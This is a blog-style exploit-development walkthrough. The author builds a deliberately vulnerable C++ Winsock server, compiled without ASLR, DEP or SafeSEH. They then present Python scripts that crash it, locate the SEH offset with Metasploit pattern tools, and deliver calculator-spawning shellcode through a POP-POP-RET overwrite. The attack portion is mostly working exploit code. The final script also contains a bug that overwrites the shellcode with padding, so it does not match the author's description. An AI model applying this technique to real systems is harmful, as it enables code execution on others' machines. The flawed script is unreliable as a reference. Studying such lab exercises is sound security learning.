Introduction

So currently, I’m working on getting back into vulnerability research and to refresh my memory I decided to build a socket application in C++ with a buffer overflow vulnerability and then try to exploit the application. It’s important to note that the socket application was compiled without any security features like ASLR, DEP, and SafeSEH.

Anyway, let’s get our hands dirty and exploit our socket application.

Building the Socket App

The purpose of a socket is to allow two systems to communicate with each other. The server is responsible fro processing the request coming from the client. In languages such as C++ its easy to make mistakes which allows the threat actor to overflow the buffer. Here’s a overview of the socket I built using C++.

main.cpp
#include <winsock2.h>
#include <WS2tcpip.h>
#include <stdlib.h>
#include <iostream>
#pragma comment(lib, "ws2_32.lib")
 
#define LOCAL_PORT "8080"
#define LOCAL_ADDR "127.0.0.1"
 
int main() {
	WSADATA wsa_data;
	int i_result;
 
	// Initializing Winsock
	i_result = WSAStartup(MAKEWORD(2, 2), &wsa_data);
	if (i_result != 0) {
		printf("[!] Failed to initialize Winsock: %d", WSAGetLastError());
		return -1;
	}
 
	// Initializing data structures
	struct addrinfo hints = { 0 }, * result = NULL;
	hints.ai_family = AF_INET;
	hints.ai_socktype = SOCK_STREAM;
	hints.ai_protocol = IPPROTO_TCP;
	hints.ai_flags = AI_PASSIVE;
 
	// Resolve local address and port
	i_result = getaddrinfo(LOCAL_ADDR, LOCAL_PORT, &hints, &result);
	if (i_result != 0) {
		printf("[!] Failed to resolve local address and port: %d\n", WSAGetLastError());
		WSACleanup();
		return -1;
	}
 
	// Create a socket
	SOCKET listen_socket = socket(result->ai_family, result->ai_socktype, result->ai_protocol);
	if (listen_socket == INVALID_SOCKET) {
		printf("[!] Failed to create a socket: %ld\n", WSAGetLastError());
		freeaddrinfo(result);
		WSACleanup();
		return -1;
	}
 
	// Bind the socket
	i_result = bind(listen_socket, result->ai_addr, (int)result->ai_addrlen);
	freeaddrinfo(result);
	if (i_result == SOCKET_ERROR) {
		printf("[!] Failed to bind the socket: %ld\n", WSAGetLastError());
		freeaddrinfo(result);
		WSACleanup();
		return -1;
	}
 
	// Listen for connections
	i_result = listen(listen_socket, SOMAXCONN);
	if (i_result == SOCKET_ERROR) {
		printf("[!] Failed to listen for connections: %ld\n", WSAGetLastError());
		freeaddrinfo(result);
		WSACleanup();
		return -1;
	}
 
	// Accept clients
	SOCKET client_socket = accept(listen_socket, NULL, NULL);
	if (client_socket == INVALID_SOCKET) {
		printf("[!] Failed to accept the socket connection: %ld\n", WSAGetLastError());
		closesocket(listen_socket);
		freeaddrinfo(result);
		WSACleanup();
		return -1;
	}
 
	// SEH Overflow is happening here
	char buffer[2048];
	char recvbuf[128];
	i_result = recv(client_socket, buffer, 2048, 0);
	memcpy(recvbuf, buffer, 2048);
	if (i_result) {
		printf("Received %d bytes: %s", i_result, recvbuf);
		int send_result = send(client_socket, recvbuf, i_result, 0);
		if (send_result == SOCKET_ERROR) {
			printf("[!] Failed to send data to client: %ld\n", WSAGetLastError());
		}
	}
	else if (i_result == 0) {
		printf("[#] Connection closing...\n");
	}
	else {
		printf("[#] Recv failed: %ld", WSAGetLastError());
	}
 
	closesocket(client_socket);
	closesocket(listen_socket);
	WSACleanup();
	return 0;
}
Compile Command
cl.exe main.cpp /GS- /link /DYNAMICBASE:NO /NXCOMPAT:NO /SAFESEH:NO /MACHINE:X86

From line 74 to 78 is where the buffer overflow vulnerability happens because the buffer accept 2048 bytes data from the client but then it tries to copy the data into a smaller 128 bytes of buffer. This allows the threat actor to control the buffer by overwriting the return address.

Exploitation

So basically after compiling the code and running the aplication, I built a Python script which connects to the server and crashes the application.

main.py
import socket
import struct
 
# Connection Details
HOST = "127.0.0.1"
PORT = 8080
 
# Buffer Data
buffer = b'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq'
 
# Initializing Socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(buffer)
s.close()

The buffer was generated using the msf-pattern_create command in Kali Linux. We can find the exact offset where the buffer overflow happens in the SEH by copying 41306941 and using msf_pattern_offset inside our Kali Linux system.

Finding Offset
┌──(kali㉿kali)-[~]
└─$ msf-pattern_offset -l 2048 -q 41306941
[*] Exact match at offset 240

The crash happens exactly at 240 offset. This means we can replace the 240 offset with an address that has POP, POP, RET instructions and then add JMP SHORT 0x6 instructions to 236 offset.

exploit.py
import socket
import struct
 
# Connection Details
HOST = "127.0.0.1"
PORT = 8080
 
# Buffer Data
buffer = b'A' * 236                     # Padding
buffer += b'\x90\x90\xEB\x04'           # JMP SHORT 0x6
buffer += struct.pack('<L', 0x004027d2) # POP, POP, RET Instructions 
 
# Initializing Socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(buffer)
s.close()

So after escaping the Structured Exception Handler (SEH), I performed some calculation which allowed me to use the 236 padding data to spawn a calculator. It’s crucial to note that I used SP register to perform these calculations since ESP would contain null characters which would destroy our payload.

exploit.py
import socket
import struct
 
# Connection Details
HOST = "127.0.0.1"
PORT = 8080
 
#
# Name: Shellcode
# Description: Spawns a calculator
shellcode =  b""
shellcode += b"\xbd\x55\xbc\x36\xc5\xd9\xc0\xd9\x74\x24\xf4"
shellcode += b"\x5f\x29\xc9\xb1\x31\x83\xef\xfc\x31\x6f\x0f"
shellcode += b"\x03\x6f\x5a\x5e\xc3\x39\x8c\x1c\x2c\xc2\x4c"
shellcode += b"\x41\xa4\x27\x7d\x41\xd2\x2c\x2d\x71\x90\x61"
shellcode += b"\xc1\xfa\xf4\x91\x52\x8e\xd0\x96\xd3\x25\x07"
shellcode += b"\x98\xe4\x16\x7b\xbb\x66\x65\xa8\x1b\x57\xa6"
shellcode += b"\xbd\x5a\x90\xdb\x4c\x0e\x49\x97\xe3\xbf\xfe"
shellcode += b"\xed\x3f\x4b\x4c\xe3\x47\xa8\x04\x02\x69\x7f"
shellcode += b"\x1f\x5d\xa9\x81\xcc\xd5\xe0\x99\x11\xd3\xbb"
shellcode += b"\x12\xe1\xaf\x3d\xf3\x38\x4f\x91\x3a\xf5\xa2"
shellcode += b"\xeb\x7b\x31\x5d\x9e\x75\x42\xe0\x99\x41\x39"
shellcode += b"\x3e\x2f\x52\x99\xb5\x97\xbe\x18\x19\x41\x34"
shellcode += b"\x16\xd6\x05\x12\x3a\xe9\xca\x28\x46\x62\xed"
shellcode += b"\xfe\xcf\x30\xca\xda\x94\xe3\x73\x7a\x70\x45"
shellcode += b"\x8b\x9c\xdb\x3a\x29\xd6\xf1\x2f\x40\xb5\x9f"
shellcode += b"\xae\xd6\xc3\xed\xb1\xe8\xcb\x41\xda\xd9\x40"
shellcode += b"\x0e\x9d\xe5\x82\x6b\x6c\x7d\xb2\xe3\x07\xd8"
shellcode += b"\x59\x4e\x4a\xdb\xb7\x8c\x73\x58\x32\x6c\x80"
shellcode += b"\x40\x37\x69\xcc\xc6\xab\x03\x5d\xa3\xcb\xb0"
shellcode += b"\x5e\xe6\xaf\x57\xcd\x6a\x1e\xf2\x75\x08\x5e"
 
# Buffer Data
buffer = b'\x90' * 8                    # NOP Shield
buffer += shellcode                     # Spawns a calculator
buffer = b'A' * (236 - len(buffer))     # Padding
buffer += b'\x90\x90\xEB\x04'           # JMP SHORT 0x6
buffer += struct.pack('<L', 0x004027d2) # POP, POP, RET Instructions 
buffer += b'\x90' * 8                   # NOP Shield
buffer += b'\x66\x81\xC4\x94\x15'       # ADD SP, 0x1594
buffer += b'\xFF\xE4'                   # JMP SP
 
# Initializing Socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(buffer)
s.close()

After running the exploit code a calculator should spawn. This was my first exercise, I performed to recall the exploit development knowledge which I lost throughout the coming months.

Conclusion

So basically, around a year ago I started posting about things I learnt in exploit development such as Buffer Overflow, SEH Overflow, and much more… I thought I lost all that knowledge since I hadn’t worked with it for months now and after returning to exploit development I learn that I was able to recall majority of the things I learnt which is surprising since exploit development is one of the hardest thing you can work with. And all this knowledge was also retrieved without using any LLMs, it was mainly me with some notes I took for a year ago.